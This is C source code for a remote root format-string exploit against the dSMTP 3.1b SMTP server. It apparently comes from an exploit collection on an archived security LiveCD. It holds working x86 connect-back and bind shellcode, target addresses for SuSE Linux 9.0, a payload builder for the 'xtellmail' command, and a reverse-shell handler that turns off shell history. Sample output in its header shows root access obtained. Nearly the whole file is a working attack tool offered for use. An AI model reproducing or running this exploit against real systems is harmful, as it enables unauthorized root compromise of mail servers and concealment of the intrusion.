home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / dmail / dSMTP.c < prev   
Encoding:
C/C++ Source or Header  |  2005-05-06  |  11.3 KB  |  503 lines
  1. /*
  2. * dSMTP - SMTP Mail Server 3.1b Linux Remote Root Format String Exploit 
  3. *
  4. * cybertronic[at]gmx[dot]net
  5. *
  6. * 05/05/2005
  7. *
  8. * This exploits the "xtellmail" command!
  9. *
  10. * bindc0de breaks somehow, cb works fine!
  11. * remote buffer space is about 256 bytes
  12. * bad chars: 0x00, 0x20, 0x0a and prolly more
  13. *
  14. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  15. * NOTE: before you start, change the password in function exploit () *
  16. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  17. *
  18. * [ cybertronic @ dsmtp ] # ./dmail_expl -h 192.168.2.50 -p 25 -l 192.168.2.40 -t 0
  19. *
  20. * __ __ _
  21. * _______ __/ /_ ___ _____/ /__________ ____ (_)____
  22. * / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
  23. * / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__
  24. * \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/
  25. * /____/
  26. *
  27. * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
  28. * --[ connecting to 192.168.2.50:25...done!
  29. *
  30. * --[ 220 linux.local DSMTP ESMTP Mail Server
  31. *
  32. * --[ select shellcode
  33. * |
  34. * |- [0] bind
  35. * `- [1] cb
  36. * >> 1
  37. * --[ using cb shellcode
  38. * --[ GOT: 0x08116844
  39. * --[ RET: 0xbffe51f8
  40. * --[ sending packet [ 252 bytes ]...done!
  41. * --[ starting reverse handler [port: 45295]...done!
  42. * --[ incomming connection from: 192.168.2.50
  43. * --[ b0x pwned - h4ve phun
  44. * Linux linux 2.4.21-99-athlon #1 Wed Sep 24 13:34:32 UTC 2003 i686 
  45. * athlon i386 GNU/Linux
  46. * uid=0(root) gid=0(root) groups=0(root)
  47. *
  48. */
  49.  
  50. #include <stdio.h>
  51. #include <sys/socket.h>
  52. #include <sys/types.h>
  53. #include <sys/stat.h>
  54. #include <fcntl.h>
  55. #include <netinet/in.h>
  56. #include <netdb.h>
  57. #include <unistd.h>
  58.  
  59. #define NOP 0x90
  60.  
  61. #define RED "\E[31m\E[1m"
  62. #define GREEN "\E[32m\E[1m"
  63. #define YELLOW "\E[33m\E[1m"
  64. #define BLUE "\E[34m\E[1m"
  65. #define NORMAL "\E[m"
  66.  
  67. int connect_to_remote_host ( char* tip, unsigned short tport );
  68. int exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip );
  69. int shell ( int s, char* tip );
  70. int usage ( char* name );
  71.  
  72. void start_reverse_handler ( unsigned short cbport );
  73. void connect_to_bindshell ( char* tip, unsigned short bport );
  74. void header ();
  75. void wait ( int sec );
  76.  
  77. /***********************
  78. * Linux x86 Shellcode *
  79. ***********************/
  80.  
  81. //131 bytes connect back shellcode, port: 45295
  82. char reverseshell[] =
  83. "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
  84. "\x06\x51\xb1\x01\x51\xb1\x02\x51"
  85. "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
  86. "\x89\xc2\x31\xc0\x31\xc9\x51\x51"
  87. "\x68\x41\x42\x43\x44\x66\x68\xb0"
  88. "\xef\xb1\x02\x66\x51\x89\xe7\xb3"
  89. "\x10\x53\x57\x52\x89\xe1\xb3\x03"
  90. "\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
  91. "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
  92. "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
  93. "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
  94. "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
  95. "\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
  96. "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
  97. "\x2f\x62\x69\x89\xe3\x50\x53\x89"
  98. "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
  99. "\x01\xcd\x80";
  100.  
  101. //129 bytes bind shellcode, port 3879
  102. char bindshell[]=
  103. "\x89\xe5\x31\xd2\xb2\x66\x89\xd0"
  104. "\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  105. "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc"
  106. "\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  107. "\x45\xf4\x43\x66\x89\x5d\xec\x66"
  108. "\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
  109. "\x8d\x45\xec\x89\x45\xf8\xc6\x45"
  110. "\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  111. "\x80\x89\xd0\x43\x43\xcd\x80\x89"
  112. "\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  113. "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0"
  114. "\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  115. "\x08\x31\xc0\x88\x46\x07\x89\x45"
  116. "\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  117. "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff"
  118. "\xff\xff/bin/sh";
  119.  
  120. typedef struct _args {
  121. char* tip;
  122. char* lip;
  123. int tport;
  124. int target;
  125. } args;
  126.  
  127. struct targets {
  128. int num;
  129. unsigned long smashaddr;
  130. unsigned long writeaddr;
  131. char name[64];
  132. }
  133.  
  134. target[]= {
  135. { 0, 0x08116844, 0xbffe51f8, "SuSE Linux 9.0 (i586) - 2.4.21-99-athlon" }, 
  136. //08116844 R_386_JUMP_SLOT strchr
  137. { 1, 0x08116844, 0xdeadc0de, "description" }
  138. };
  139.  
  140. int
  141. connect_to_remote_host ( char* tip, unsigned short tport )
  142. {
  143. int s;
  144. char in[1024];
  145. struct sockaddr_in remote_addr;
  146. struct hostent* host_addr;
  147.  
  148. memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
  149. if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
  150. {
  151. printf ( "cannot resolve \"%s\"\n", tip );
  152. exit ( 1 );
  153. }
  154. remote_addr.sin_family = AF_INET;
  155. remote_addr.sin_port = htons ( tport );
  156. remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
  157. if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
  158. {
  159. printf ( "socket failed!\n" );
  160. exit ( 1 );
  161. }
  162. printf ( "--[ connecting to %s:%u...", tip, tport );
  163. if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
  164. {
  165. printf ( "failed!\n" );
  166. exit ( 1 );
  167. }
  168. printf ( "done!\n" );
  169. bzero ( &in, sizeof ( in ) );
  170. if ( read ( s, in, sizeof ( in ) ) <= 0 )
  171. {
  172. printf ( "read failed!\n" );
  173. return ( 1 );
  174. }
  175. printf ( "\n--[ %s\n", in );
  176. return ( s );
  177. }
  178.  
  179. int
  180. exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip )
  181. {
  182. char buffer[512];
  183. char a, b, c, d;
  184. unsigned int low, high, cyber, tronic;
  185. unsigned long ulcbip;
  186.  
  187. /***** change the password! *****/
  188. char* pass = "522295153136689045";
  189. /********************************/
  190.  
  191. printf ( "--[ GOT: 0x%08x\n", smashaddr );
  192. printf ( "--[ RET: 0x%08x\n", writeaddr );
  193.  
  194. a = ( smashaddr & 0xff000000 ) >> 24;
  195. b = ( smashaddr & 0x00ff0000 ) >> 16;
  196. c = ( smashaddr & 0x0000ff00 ) >> 8;
  197. d = ( smashaddr & 0x000000ff );
  198.  
  199. high = ( writeaddr & 0xffff0000 ) >> 16;
  200. low = ( writeaddr & 0x0000ffff );
  201.  
  202. bzero ( &buffer, sizeof ( buffer ) );
  203. if ( high < low )
  204. {
  205. printf ( "1\n" );
  206. sprintf ( buffer,
  207. "xtellmail %s X"
  208. "%c%c%c%c"
  209. "%c%c%c%c"
  210. "%%.%uu%%1295$hn"
  211. "%%.%uu%%1296$hn",
  212.  
  213. pass,
  214. d + 2, c, b, a,
  215. d, c, b, a,
  216. high - 40,
  217. low - high );
  218. }
  219. else
  220. {
  221. sprintf ( buffer,
  222. "xtellmail %s X"
  223. "%c%c%c%c"
  224. "%c%c%c%c"
  225. "%%.%uu%%1296$hn"
  226. "%%.%uu%%1295$hn",
  227.  
  228. pass,
  229. d + 2, c, b, a,
  230. d, c, b, a,
  231. low - 40,
  232. high - low );
  233. }
  234. memset ( buffer + strlen ( buffer ), NOP, 180 );
  235. if ( cbip == NULL )
  236. memcpy ( buffer + 110, bindshell, sizeof ( bindshell ) -1 );
  237. else
  238. {
  239. ulcbip = inet_addr ( cbip );
  240. memcpy ( &reverseshell[33], &ulcbip, 4 );
  241. memcpy ( buffer + 110, reverseshell, sizeof ( reverseshell ) -1 );
  242. }
  243. strncat ( buffer, "\r\n", 2 );
  244.  
  245. printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) );
  246. if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
  247. {
  248. printf ( "failed!\n" );
  249. return ( 1 );
  250. }
  251. printf ( "done!\n" );
  252.  
  253. return ( 0 );
  254. }
  255.  
  256. int
  257. shell ( int s, char* tip )
  258. {
  259. int n;
  260. char* cmd = "unset HISTFILE;uname -a;id;\n";
  261. char buffer[2048];
  262. fd_set fd_read;
  263.  
  264. printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n"
  265. YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e "
  266. NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );
  267.  
  268. if ( write ( s, cmd, strlen ( cmd ) ) < 0 )
  269. {
  270. printf ( "bye bye...\n" );
  271. return;
  272. }
  273.  
  274. FD_ZERO ( &fd_read );
  275. FD_SET ( s, &fd_read );
  276. FD_SET ( 0, &fd_read );
  277.  
  278. while ( 1 )
  279. {
  280. FD_SET ( s, &fd_read );
  281. FD_SET ( 0, &fd_read );
  282.  
  283. if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
  284. break;
  285. if ( FD_ISSET ( s, &fd_read ) )
  286. {
  287. if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
  288. {
  289. printf ( "bye bye...\n" );
  290. return;
  291. }
  292. if ( write ( 1, buffer, n ) < 0 )
  293. {
  294. printf ( "bye bye...\n" );
  295. return;
  296. }
  297. }
  298. if ( FD_ISSET ( 0, &fd_read ) )
  299. {
  300. if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
  301. {
  302. printf ( "bye bye...\n" );
  303. return;
  304. }
  305. if ( send ( s, buffer, n, 0 ) < 0 )
  306. {
  307. printf ( "bye bye...\n" );
  308. return;
  309. }
  310. }
  311. usleep(10);
  312. }
  313. }
  314.  
  315. int
  316. usage ( char* name )
  317. {
  318. int i;
  319.  
  320. printf ( "\n" );
  321. printf ( "Note: all switches have to be specified!\n" );
  322. printf ( "You can choose between bind and cb shellcode later!\n" );
  323. printf ( "\n" );
  324. printf ( "Usage: %s -h <tip> -p <tport> -l <cbip> -t <target>\n", name );
  325. printf ( "\n" );
  326. printf ( "Targets\n\n" );
  327. for ( i = 0; i < 2; i++ )
  328. printf ( "\t[%d] [0x%08x] [0x%08x] [%s]\n", target[i].num, target[i].smashaddr, 
  329. target[i].writeaddr, target[i].name );
  330. printf ( "\n" );
  331. exit ( 1 );
  332. }
  333.  
  334. void
  335. connect_to_bindshell ( char* tip, unsigned short bport )
  336. {
  337. int s;
  338. int sec = 5; // change this for fast targets
  339. struct sockaddr_in remote_addr;
  340. struct hostent *host_addr;
  341.  
  342. if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
  343. {
  344. fprintf ( stderr, "cannot resolve \"%s\"\n", tip );
  345. exit ( 1 );
  346. }
  347.  
  348. remote_addr.sin_family = AF_INET;
  349. remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
  350. remote_addr.sin_port = htons ( bport );
  351.  
  352. if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
  353. {
  354. printf ( "socket failed!\n" );
  355. exit ( 1 );
  356. }
  357. printf ("--[ sleeping %d seconds before connecting to %s:%u...\n", sec, tip, bport );
  358. wait ( sec );
  359. printf ( "--[ connecting to %s:%u...", tip, bport );
  360. if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
  361. {
  362. printf ( RED "failed!\n" NORMAL);
  363. exit ( 1 );
  364. }
  365. printf ( YELLOW "done!\n" NORMAL);
  366. shell ( s, tip );
  367. }
  368.  
  369. void
  370. header ()
  371. {
  372. printf ( " __ __ _ \n" );
  373. printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" );
  374. printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" );
  375. printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" );
  376. printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" );
  377. printf ( " /____/ \n\n" );
  378. printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" );
  379. }
  380.  
  381. void
  382. parse_arguments ( int argc, char* argv[], args* argp )
  383. {
  384. int i = 0;
  385.  
  386. while ( ( i = getopt ( argc, argv, "h:p:l:t:" ) ) != -1 )
  387. {
  388. switch ( i )
  389. {
  390. case 'h':
  391. argp->tip = optarg;
  392. break;
  393. case 'p':
  394. argp->tport = atoi ( optarg );
  395. break;
  396. case 'l':
  397. argp->lip = optarg;
  398. break;
  399. case 't':
  400. argp->target = strtoul ( optarg, NULL, 16 );
  401. break;
  402. case ':':
  403. case '?':
  404. default:
  405. usage ( argv[0] );
  406. }
  407. }
  408.  
  409. if ( argp->tip == NULL || argp->tport < 1 || argp->tport > 65535 || 
  410. argp->lip == NULL || argp->target < 0 || argp->target > 1 )
  411. usage ( argv[0] );
  412. }
  413.  
  414. void
  415. start_reverse_handler ( unsigned short cbport )
  416. {
  417. int s1, s2;
  418. struct sockaddr_in cliaddr, servaddr;
  419. socklen_t clilen = sizeof ( cliaddr );
  420.  
  421. bzero ( &servaddr, sizeof ( servaddr ) );
  422. servaddr.sin_family = AF_INET;
  423. servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
  424. servaddr.sin_port = htons ( cbport );
  425.  
  426. printf ( "--[ starting reverse handler [port: %u]...", cbport );
  427. if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
  428. {
  429. printf ( "socket failed!\n" );
  430. exit ( 1 );
  431. }
  432. bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
  433. if ( listen ( s1, 1 ) == -1 )
  434. {
  435. printf ( "listen failed!\n" );
  436. exit ( 1 );
  437. }
  438. printf ( "done!\n" );
  439. if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
  440. {
  441. printf ( "accept failed!\n" );
  442. exit ( 1 );
  443. }
  444. close ( s1 );
  445. printf ( "--[ incomming connection from:\t%s\n", inet_ntoa ( cliaddr.sin_addr ) );
  446. shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ) );
  447. close ( s2 );
  448. }
  449.  
  450. void
  451. wait ( int sec )
  452. {
  453. sleep ( sec );
  454. }
  455.  
  456. int
  457. main ( int argc, char* argv[] )
  458. {
  459. int s, option;
  460. args myargs;
  461.  
  462. system ( "clear" );
  463. header ();
  464. parse_arguments ( argc, argv, &myargs );
  465. s = connect_to_remote_host ( myargs.tip, myargs.tport );
  466.  
  467. printf ( "--[ select shellcode\n" );
  468. printf ( " |\n" );
  469. printf ( " |- [0] bind\n" );
  470. printf ( " `- [1] cb\n" );
  471. printf ( ">> " );
  472. scanf ( "%d", &option );
  473. switch ( option )
  474. {
  475. case 0:
  476. printf ( "--[ sorry, does not work yet :/\n" );
  477. /*
  478. printf ( "--[ using bind shellcode\n" );
  479. if ( exploit ( s, target[myargs.target].smashaddr, target[myargs.target].writeaddr, NULL ) == 1 )
  480. {
  481. printf ( "exploitation failed!\n" );
  482. exit ( 1 );
  483. }
  484. connect_to_bindshell ( myargs.tip, 3879 );
  485. */
  486. break;
  487. case 1:
  488. printf ( "--[ using cb shellcode\n" );
  489. if ( exploit ( s, target[myargs.target].smashaddr, target[myargs.target].writeaddr, myargs.lip ) 
  490. == 1 )
  491. {
  492. printf ( "exploitation failed!\n" );
  493. exit ( 1 );
  494. }
  495. start_reverse_handler ( 45295 );
  496. break;
  497. default:
  498. printf ( "--[ invalid shellcode!\n" ); exit ( 1 );
  499. }
  500. close ( s );
  501. return 0;
  502. }
  503.